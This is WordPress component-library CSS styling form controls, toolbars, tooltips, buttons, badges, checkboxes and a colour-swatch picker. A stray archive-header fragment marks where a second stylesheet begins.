.components-text-control__input:-ms-input-placeholder,.components-text-control__input[type=color]:-ms-input-placeholder,.components-text-control__input[type=date]:-ms-input-placeholder,.components-text-control__input[type=datetime-local]:-ms-input-placeholder,.components-text-control__input[type=datetime]:-ms-input-placeholder,.components-text-control__input[type=email]:-ms-input-placeholder,.components-text-control__input[type=month]:-ms-input-placeholder,.components-text-control__input[type=number]:-ms-input-placeholder,.components-text-control__input[type=password]:-ms-input-placeholder,.components-text-control__input[type=tel]:-ms-input-placeholder,.components-text-control__input[type=text]:-ms-input-placeholder,.components-text-control__input[type=time]:-ms-input-placeholder,.components-text-control__input[type=url]:-ms-input-placeholder,.components-text-control__input[type=week]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-text-control__input.is-next-40px-default-size,.components-text-control__input[type=color].is-next-40px-default-size,.components-text-control__input[type=date].is-next-40px-default-size,.components-text-control__input[type=datetime-local].is-next-40px-default-size,.components-text-control__input[type=datetime].is-next-40px-default-size,.components-text-control__input[type=email].is-next-40px-default-size,.components-text-control__input[type=month].is-next-40px-default-size,.components-text-control__input[type=number].is-next-40px-default-size,.components-text-control__input[type=password].is-next-40px-default-size,.components-text-control__input[type=tel].is-next-40px-default-size,.components-text-control__input[type=text].is-next-40px-default-size,.components-text-control__input[type=time].is-next-40px-default-size,.components-text-control__input[type=url].is-next-40px-default-size,.components-text-control__input[type=week].is-next-40px-default-size{
  height:40px;
  padding-left:12px;
  padding-right:12px;
}

.components-text-control__input[type=email],.components-text-control__input[type=url]{
  direction:ltr;
}

.components-tip{
  color:#757575;
  display:flex;
}
.components-tip svg{
  align-self:center;
  fill:#f0b849;
  flex-shrink:0;
  margin-left:16px;
}
.components-tip p{
  margin:0;
}

.components-toggle-control__label{
  line-height:16px;
}
.components-toggle-control__label:not(.is-disabled){
  cursor:pointer;
}

.components-toggle-control__help{
  display:inline-block;
  margin-inline-start:40px;
}

.components-accessible-toolbar{
  border:1px solid #1e1e1e;
  border-radius:2px;
  display:inline-flex;
  flex-shrink:0;
}
.components-accessible-toolbar>.components-toolbar-group:last-child{
  border-left:none;
}
.components-accessible-toolbar.is-unstyled{
  border:none;
}
.components-accessible-toolbar.is-unstyled>.components-toolbar-group{
  border-left:none;
}

.components-accessible-toolbar[aria-orientation=vertical],.components-toolbar[aria-orientation=vertical]{
  align-items:center;
  display:flex;
  flex-direction:column;
}
.components-accessible-toolbar .components-button,.components-toolbar .components-button{
  height:48px;
  padding-left:16px;
  padding-right:16px;
  position:relative;
  z-index:1;
}
.components-accessible-toolbar .components-button:focus:not(:disabled),.components-toolbar .components-button:focus:not(:disabled){
  box-shadow:none;
  outline:none;
}
.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{
  border-radius:2px;
  content:"";
  display:block;
  height:32px;
  left:8px;
  position:absolute;
  right:8px;
  z-index:-1;
}
@media not (prefers-reduced-motion){
  .components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{
    animation:components-button__appear-animation .1s ease;
    animation-fill-mode:forwards;
  }
}
.components-accessible-toolbar .components-button svg,.components-toolbar .components-button svg{
  margin-left:auto;
  margin-right:auto;
  position:relative;
}
.components-accessible-toolbar .components-button.is-pressed,.components-accessible-toolbar .components-button.is-pressed:hover,.components-toolbar .components-button.is-pressed,.components-toolbar .components-button.is-pressed:hover{
  background:#0000;
}
.components-accessible-toolbar .components-button.is-pressed:before,.components-toolbar .components-button.is-pressed:before{
  background:#1e1e1e;
}
.components-accessible-toolbar .components-button:focus:before,.components-toolbar .components-button:focus:before{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-accessible-toolbar .components-button.has-icon.has-icon,.components-toolbar .components-button.has-icon.has-icon{
  min-width:48px;
  padding-left:8px;
  padding-right:8px;
}

@keyframes components-button__appear-animation{
  0%{
    transform:scaleY(0);
  }
  to{
    transform:scaleY(1);
  }
}
.components-toolbar__control.components-button{
  position:relative;
}
.components-toolbar__control.components-button[data-subscript] svg{
  padding:5px 0 5px 10px;
}
.components-toolbar__control.components-button[data-subscript]:after{
  bottom:10px;
  content:attr(data-subscript);
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  left:8px;
  line-height:12px;
  position:absolute;
}
.components-toolbar__control.components-button:not(:disabled).is-pressed[data-subscript]:after{
  color:#fff;
}

.components-toolbar-group{
  background-color:#fff;
  border-left:1px solid #1e1e1e;
  display:inline-flex;
  flex-shrink:0;
  flex-wrap:wrap;
  line-height:0;
  min-height:48px;
  padding-left:6px;
  padding-right:6px;
}
.components-toolbar-group .components-toolbar-group.components-toolbar-group{
  border-width:0;
  margin:0;
}
.components-toolbar-group .components-button.components-button,.components-toolbar-group .components-button.has-icon.has-icon{
  justify-content:center;
  min-width:36px;
  padding-left:6px;
  padding-right:6px;
}
.components-toolbar-group .components-button.components-button svg,.components-toolbar-group .components-button.has-icon.has-icon svg{
  min-width:24px;
}
.components-toolbar-group .components-button.components-button:before,.components-toolbar-group .components-button.has-icon.has-icon:before{
  left:2px;
  right:2px;
}

.components-toolbar{
  background-color:#fff;
  border:1px solid #1e1e1e;
  display:inline-flex;
  flex-shrink:0;
  flex-wrap:wrap;
  margin:0;
  min-height:48px;
}
.components-toolbar .components-toolbar.components-toolbar{
  border-width:0;
  margin:0;
}

div.components-toolbar>div{
  display:flex;
  margin:0;
}
div.components-toolbar>div+div.has-left-divider{
  margin-right:6px;
  overflow:visible;
  position:relative;
}
div.components-toolbar>div+div.has-left-divider:before{
  background-color:#ddd;
  box-sizing:initial;
  content:"";
  display:inline-block;
  height:20px;
  position:absolute;
  right:-3px;
  top:8px;
  width:1px;
}

.components-tooltip{
  background:#000;
  border-radius:2px;
  box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;
  color:#f0f0f0;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:12px;
  line-height:1.4;
  padding:4px 8px;
  text-align:center;
  z-index:1000002;
}

.components-tooltip__shortcut{
  margin-right:8px;
}PK1Xd[�P��t�tdist/components/style.cssnu�[���@charset "UTF-8";
:root{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

@media not (prefers-reduced-motion){
  .components-animate__appear{
    animation:components-animate__appear-animation .1s cubic-bezier(0, 0, .2, 1) 0s;
    animation-fill-mode:forwards;
  }
}
.components-animate__appear.is-from-top,.components-animate__appear.is-from-top.is-from-left{
  transform-origin:top left;
}
.components-animate__appear.is-from-top.is-from-right{
  transform-origin:top right;
}
.components-animate__appear.is-from-bottom,.components-animate__appear.is-from-bottom.is-from-left{
  transform-origin:bottom left;
}
.components-animate__appear.is-from-bottom.is-from-right{
  transform-origin:bottom right;
}

@keyframes components-animate__appear-animation{
  0%{
    transform:translateY(-2em) scaleY(0) scaleX(0);
  }
  to{
    transform:translateY(0) scaleY(1) scaleX(1);
  }
}
@media not (prefers-reduced-motion){
  .components-animate__slide-in{
    animation:components-animate__slide-in-animation .1s cubic-bezier(0, 0, .2, 1);
    animation-fill-mode:forwards;
  }
  .components-animate__slide-in.is-from-left{
    transform:translateX(100%);
  }
  .components-animate__slide-in.is-from-right{
    transform:translateX(-100%);
  }
}

@keyframes components-animate__slide-in-animation{
  to{
    transform:translateX(0);
  }
}
@media not (prefers-reduced-motion){
  .components-animate__loading{
    animation:components-animate__loading 1.6s ease-in-out infinite;
  }
}

@keyframes components-animate__loading{
  0%{
    opacity:.5;
  }
  50%{
    opacity:1;
  }
  to{
    opacity:.5;
  }
}
.components-autocomplete__popover .components-popover__content{
  min-width:200px;
  padding:8px;
}

.components-autocomplete__result.components-button{
  display:flex;
  height:auto;
  min-height:36px;
  text-align:left;
  width:100%;
}
.components-autocomplete__result.components-button:focus:not(:disabled){
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.components-badge{
  align-items:center;
  background-color:color-mix(in srgb, #fff 90%, var(--base-color));
  border-radius:2px;
  box-sizing:border-box;
  color:color-mix(in srgb, #000 50%, var(--base-color));
  display:inline-flex;
  font-size:12px;
  font-weight:400;
  gap:2px;
  line-height:20px;
  max-width:100%;
  min-height:24px;
  padding:0 8px;
}
.components-badge *,.components-badge :after,.components-badge :before{
  box-sizing:inherit;
}
.components-badge:where(.is-default){
  background-color:#f0f0f0;
  color:#2f2f2f;
}
.components-badge.has-icon{
  padding-inline-start:4px;
}
.components-badge.is-info{
  --base-color:#3858e9;
}
.components-badge.is-warning{
  --base-color:#f0b849;
}
.components-badge.is-error{
  --base-color:#cc1818;
}
.components-badge.is-success{
  --base-color:#4ab866;
}

.components-badge__icon{
  flex-shrink:0;
}

.components-badge__content{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.components-button-group{
  display:inline-block;
}
.components-button-group .components-button{
  border-radius:0;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
  display:inline-flex;
}
.components-button-group .components-button+.components-button{
  margin-left:-1px;
}
.components-button-group .components-button:first-child{
  border-radius:2px 0 0 2px;
}
.components-button-group .components-button:last-child{
  border-radius:0 2px 2px 0;
}
.components-button-group .components-button.is-primary,.components-button-group .components-button:focus{
  position:relative;
  z-index:1;
}
.components-button-group .components-button.is-primary{
  box-shadow:inset 0 0 0 1px #1e1e1e;
}
.components-button{
  align-items:center;
  -webkit-appearance:none;
  background:none;
  border:0;
  border-radius:2px;
  box-sizing:border-box;
  color:var(--wp-components-color-foreground, #1e1e1e);
  cursor:pointer;
  display:inline-flex;
  font-family:inherit;
  font-size:13px;
  height:36px;
  margin:0;
  padding:6px 12px;
  text-decoration:none;
}
@media not (prefers-reduced-motion){
  .components-button{
    transition:box-shadow .1s linear;
  }
}
.components-button.is-next-40px-default-size{
  height:40px;
}
.components-button:hover:not(:disabled,[aria-disabled=true]),.components-button[aria-expanded=true]{
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:3px solid #0000;
}
.components-button.is-primary{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:var(--wp-components-color-accent-inverted, #fff);
  outline:1px solid #0000;
  text-decoration:none;
  text-shadow:none;
  white-space:nowrap;
}
.components-button.is-primary:hover:not(:disabled){
  background:var(--wp-components-color-accent-darker-10, var(--wp-admin-theme-color-darker-10, #2145e6));
  color:var(--wp-components-color-accent-inverted, #fff);
}
.components-button.is-primary:active:not(:disabled){
  background:var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
  border-color:var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
  color:var(--wp-components-color-accent-inverted, #fff);
}
.components-button.is-primary:focus:not(:disabled){
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button.is-primary:disabled,.components-button.is-primary:disabled:active:enabled,.components-button.is-primary[aria-disabled=true],.components-button.is-primary[aria-disabled=true]:active:enabled,.components-button.is-primary[aria-disabled=true]:enabled{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:#fff6;
  outline:none;
}
.components-button.is-primary:disabled:active:enabled:focus:enabled,.components-button.is-primary:disabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:active:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:focus:enabled{
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button.is-primary.is-busy,.components-button.is-primary.is-busy:disabled,.components-button.is-primary.is-busy[aria-disabled=true]{
  background-image:linear-gradient(-45deg, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 33%, var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6)) 33%, var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6)) 70%, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 70%);
  background-size:100px 100%;
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:var(--wp-components-color-accent-inverted, #fff);
}
.components-button.is-secondary,.components-button.is-tertiary{
  outline:1px solid #0000;
}
.components-button.is-secondary:active:not(:disabled),.components-button.is-tertiary:active:not(:disabled){
  box-shadow:none;
}
.components-button.is-secondary:disabled,.components-button.is-secondary[aria-disabled=true],.components-button.is-secondary[aria-disabled=true]:hover,.components-button.is-tertiary:disabled,.components-button.is-tertiary[aria-disabled=true],.components-button.is-tertiary[aria-disabled=true]:hover{
  background:#0000;
  color:#949494;
  transform:none;
}
.components-button.is-secondary{
  background:#0000;
  box-shadow:inset 0 0 0 1px var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)), 0 0 0 currentColor;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:1px solid #0000;
  white-space:nowrap;
}
.components-button.is-secondary:hover:not(:disabled,[aria-disabled=true],.is-pressed){
  background:color-mix(in srgb, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 4%, #0000);
  box-shadow:inset 0 0 0 1px var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
  color:var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
}
.components-button.is-secondary:disabled:not(:focus),.components-button.is-secondary[aria-disabled=true]:hover:not(:focus),.components-button.is-secondary[aria-disabled=true]:not(:focus){
  box-shadow:inset 0 0 0 1px #ddd;
}
.components-button.is-secondary:focus:not(:disabled){
  box-shadow:0 0 0 currentColor inset, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button.is-tertiary{
  background:#0000;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  white-space:nowrap;
}
.components-button.is-tertiary:hover:not(:disabled,[aria-disabled=true],.is-pressed){
  background:color-mix(in srgb, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 4%, #0000);
  color:var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
}
.components-button.is-tertiary:active:not(:disabled,[aria-disabled=true]){
  background:color-mix(in srgb, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 8%, #0000);
}
p+.components-button.is-tertiary{
  margin-left:-6px;
}
.components-button.is-tertiary:disabled:not(:focus),.components-button.is-tertiary[aria-disabled=true]:hover:not(:focus),.components-button.is-tertiary[aria-disabled=true]:not(:focus){
  box-shadow:none;
  outline:none;
}
.components-button.is-destructive{
  --wp-components-color-accent:#cc1818;
  --wp-components-color-accent-darker-10:#9e1313;
  --wp-components-color-accent-darker-20:#710d0d;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link){
  color:#cc1818;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):hover:not(:disabled,[aria-disabled=true]){
  color:#710d0d;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #cc1818;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):active:not(:disabled,[aria-disabled=true]){
  background:#ccc;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):disabled,.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link)[aria-disabled=true]{
  color:#949494;
}
.components-button.is-destructive.is-secondary:hover:not(:disabled,[aria-disabled=true]),.components-button.is-destructive.is-tertiary:hover:not(:disabled,[aria-disabled=true]){
  background:#cc18180a;
}
.components-button.is-destructive.is-secondary:active:not(:disabled,[aria-disabled=true]),.components-button.is-destructive.is-tertiary:active:not(:disabled,[aria-disabled=true]){
  background:#cc181814;
}
.components-button.is-link{
  background:none;
  border:0;
  border-radius:0;
  box-shadow:none;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  height:auto;
  margin:0;
  outline:none;
  padding:0;
  text-align:left;
  text-decoration:underline;
}
@media not (prefers-reduced-motion){
  .components-button.is-link{
    transition-duration:.05s;
    transition-property:border, background, color;
    transition-timing-function:ease-in-out;
  }
}
.components-button.is-link:focus{
  border-radius:2px;
}
.components-button.is-link:disabled,.components-button.is-link[aria-disabled=true]{
  color:#949494;
}
.components-button:not(:disabled,[aria-disabled=true]):active{
  color:var(--wp-components-color-foreground, #1e1e1e);
}
.components-button:disabled,.components-button[aria-disabled=true]{
  color:#949494;
  cursor:default;
}
.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{
  background-image:linear-gradient(-45deg, #fafafa 33%, #e0e0e0 0, #e0e0e0 70%, #fafafa 0);
  background-size:100px 100%;
}
@media not (prefers-reduced-motion){
  .components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{
    animation:components-button__busy-animation 2.5s linear infinite;
  }
}
.components-button.is-compact{
  height:32px;
}
.components-button.is-compact.has-icon:not(.has-text){
  min-width:32px;
  padding:0;
  width:32px;
}
.components-button.is-small{
  font-size:11px;
  height:24px;
  line-height:22px;
  padding:0 8px;
}
.components-button.is-small.has-icon:not(.has-text){
  min-width:24px;
  padding:0;
  width:24px;
}
.components-button.has-icon{
  justify-content:center;
  min-width:36px;
  padding:6px;
}
.components-button.has-icon.is-next-40px-default-size{
  min-width:40px;
}
.components-button.has-icon .dashicon{
  align-items:center;
  box-sizing:initial;
  display:inline-flex;
  justify-content:center;
  padding:2px;
}
.components-button.has-icon.has-text{
  gap:4px;
  justify-content:start;
  padding-left:8px;
  padding-right:12px;
}
.components-button.is-pressed,.components-button.is-pressed:hover{
  color:var(--wp-components-color-foreground-inverted, #fff);
}
.components-button.is-pressed:hover:not(:disabled,[aria-disabled=true]),.components-button.is-pressed:not(:disabled,[aria-disabled=true]){
  background:var(--wp-components-color-foreground, #1e1e1e);
}
.components-button.is-pressed:disabled,.components-button.is-pressed[aria-disabled=true]{
  color:#949494;
}
.components-button.is-pressed:disabled:not(.is-primary):not(.is-secondary):not(.is-tertiary),.components-button.is-pressed[aria-disabled=true]:not(.is-primary):not(.is-secondary):not(.is-tertiary){
  background:#949494;
  color:var(--wp-components-color-foreground-inverted, #fff);
}
.components-button.is-pressed:focus:not(:disabled){
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}
.components-button svg{
  fill:currentColor;
  outline:none;
}
@media (forced-colors:active){
  .components-button svg{
    fill:CanvasText;
  }
}
.components-button .components-visually-hidden{
  height:auto;
}

@keyframes components-button__busy-animation{
  0%{
    background-position:200px 0;
  }
}
.components-checkbox-control{
  --checkbox-input-size:24px;
  --checkbox-input-margin:8px;
}
@media (min-width:600px){
  .components-checkbox-control{
    --checkbox-input-size:16px;
  }
}

.components-checkbox-control__label{
  cursor:pointer;
  line-height:var(--checkbox-input-size);
}

.components-checkbox-control__input[type=checkbox]{
  appearance:none;
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  clear:none;
  color:#1e1e1e;
  cursor:pointer;
  display:inline-block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:var(--checkbox-input-size);
  line-height:normal;
  line-height:0;
  margin:0 4px 0 0;
  outline:0;
  padding:6px 8px;
  padding:0 !important;
  text-align:center;
  transition:none;
  vertical-align:top;
  width:var(--checkbox-input-size);
}
@media not (prefers-reduced-motion){
  .components-checkbox-control__input[type=checkbox]{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .components-checkbox-control__input[type=checkbox]{
    font-size:13px;
    line-height:normal;
  }
}
.components-checkbox-control__input[type=checkbox]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-checkbox-control__input[type=checkbox]::-moz-placeholder{
  color:#1e1e1e9e;
}
.components-checkbox-control__input[type=checkbox]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-checkbox-control__input[type=checkbox]:focus{
  box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox]:checked{
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox]:checked::-ms-check{
  opacity:0;
}
.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
  color:#fff;
  margin:-3px -5px;
}
@media (min-width:782px){
  .components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
    margin:-4px 0 0 -5px;
  }
}
.components-checkbox-control__input[type=checkbox][aria-checked=mixed]{
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
  content:"\f460";
  display:inline-block;
  float:left;
  font:normal 30px/1 dashicons;
  vertical-align:middle;
  width:16px;
  speak:none;
  -webkit-font-smoothing:antialiased;
  -moz-osx-font-smoothing:grayscale;
}
@media (min-width:782px){
  .components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
    float:none;
    font-size:21px;
  }
}
.components-checkbox-control__input[type=checkbox]:disabled,.components-checkbox-control__input[type=checkbox][aria-disabled=true]{
  background:#f0f0f0;
  border-color:#ddd;
  cursor:default;
  opacity:1;
}
@media not (prefers-reduced-motion){
  .components-checkbox-control__input[type=checkbox]{
    transition:border-color .1s ease-in-out;
  }
}
.components-checkbox-control__input[type=checkbox]:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.components-checkbox-control__input[type=checkbox]:checked,.components-checkbox-control__input[type=checkbox]:indeterminate{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-checkbox-control__input[type=checkbox]:checked::-ms-check,.components-checkbox-control__input[type=checkbox]:indeterminate::-ms-check{
  opacity:0;
}
.components-checkbox-control__input[type=checkbox]:checked:before{
  content:none;
}

.components-checkbox-control__input-container{
  aspect-ratio:1;
  display:inline-block;
  flex-shrink:0;
  line-height:1;
  margin-right:var(--checkbox-input-margin);
  position:relative;
  vertical-align:middle;
  width:var(--checkbox-input-size);
}

svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{
  --checkmark-size:var(--checkbox-input-size);
  fill:#fff;
  cursor:pointer;
  height:var(--checkmark-size);
  left:50%;
  pointer-events:none;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
  -webkit-user-select:none;
          user-select:none;
  width:var(--checkmark-size);
}
@media (min-width:600px){
  svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{
    --checkmark-size:calc(var(--checkbox-input-size) + 4px);
  }
}

.components-checkbox-control__help{
  display:inline-block;
  margin-inline-start:calc(var(--checkbox-input-size) + var(--checkbox-input-margin));
}

.components-circular-option-picker{
  display:inline-block;
  min-width:188px;
  width:100%;
}
.components-circular-option-picker .components-circular-option-picker__custom-clear-wrapper{
  display:flex;
  justify-content:flex-end;
  margin-top:12px;
}
.components-circular-option-picker .components-circular-option-picker__swatches{
  display:flex;
  flex-wrap:wrap;
  gap:12px;
  position:relative;
  z-index:1;
}
.components-circular-option-picker>:not(.components-circular-option-picker__swatches){
  position:relative;
  z-index:0;
}

.components-circular-option-picker__option-wrapper{
  display:inline-block;
  height:28px;
  transform:scale(1);
  vertical-align:top;
  width:28px;
}
@media not (prefers-reduced-motion){
  .components-circular-option-picker__option-wrapper{
    transition:transform .1s ease;
    will-change:transform;
  }
}
.components-circular-option-picker__option-wrapper:hover{
  transform:scale(1.2);
}
.components-circular-option-picker__option-wrapper>div{
  height:100%;
  width:100%;
}

.components-circular-option-picker__option-wrapper:before{
  background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' fill='none'%3E%3Cpath fill='%23555D65' d='M6 8V6H4v2zm2 0V6h2v2zm2 8H8v-2h2zm2 0v-2h2v2zm0 2v-2h-2v2H8v2h2v-2zm2 0v2h-2v-2zm2 0h-2v-2h2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M18 18h2v-2h-2v-2h2v-2h-2v-2h2V8h-2v2h-2V8h-2v2h2v2h-2v2h2v2h2zm-2-4v-2h2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' d='M18 18v2h-2v-2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M8 10V8H6v2H4v2h2v2H4v2h2v2H4v2h2v2H4v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2v2h-2V4h-2v2h-2V4h-2v2h-2V4h-2v2h2v2h-2v2zm0 2v-2H6v2zm2 0v-2h2v2zm0 2v-2H8v2H6v2h2v2H6v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h-2v2h-2V6h-2v2h-2v2h2v2h-2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M4 0H2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2H8V0H6v2H4zm0 4V2H2v2zm2 0V2h2v2zm0 2V4H4v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2H8v2z' clip-rule='evenodd'/%3E%3C/svg%3E");
  border-radius:50%;
  bottom:1px;
  content:"";
  left:1px;
  position:absolute;
  right:1px;
  top:1px;
  z-index:-1;
}

.components-circular-option-picker__option{
  aspect-ratio:1;
  background:#0000;
  border:none;
  border-radius:50%;
  box-shadow:inset 0 0 0 14px;
  cursor:pointer;
  display:inline-block;
  height:100% !important;
  vertical-align:top;
}
@media not (prefers-reduced-motion){
  .components-circular-option-picker__option{
    transition:box-shadow .1s ease;
  }
}
.components-circular-option-picker__option:hover{
  box-shadow:inset 0 0 0 14px !important;
}
.components-circular-option-picker__option[aria-pressed=true],.components-circular-option-picker__option[aria-selected=true]{
  box-shadow:inset 0 0 0 4px;
  overflow:visible;
  position:relative;
  z-index:1;
}
.components-circular-option-picker__option[aria-pressed=true]+svg,.components-circular-option-picker__option[aria-selected=true]+svg{
  border-radius:50%;
  left:2px;
  pointer-events:none;
  position:absolute;
  top:2px;
  z-index:2;
}
.components-circular-option-picker__option:after{
  border:1px solid #0000;
  border-radius:50%;
  bottom:-1px;
  box-shadow:inset 0 0 0 1px #0003;
  box-sizing:inherit;
  content:"";
  left:-1px;
  position:absolute;
  right:-1px;
  top:-1px;
}
.components-circular-option-picker__option:focus:after{
  border:2px solid #757575;
  border-radius:50%;
  box-shadow:inset 0 0 0 2px #fff;
  content:"";
  height:calc(100% + 4px);
  left:50%;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
  width:calc(100% + 4px);
}
.components-circular-option-picker__option.components-button:focus{
  background-color:initial;
  box-shadow:inset 0 0 0 14px;
  outline:none;
}

.components-circular-option-picker__button-action .components-circular-option-picker__option{
  background:#fff;
  color:#fff;
}

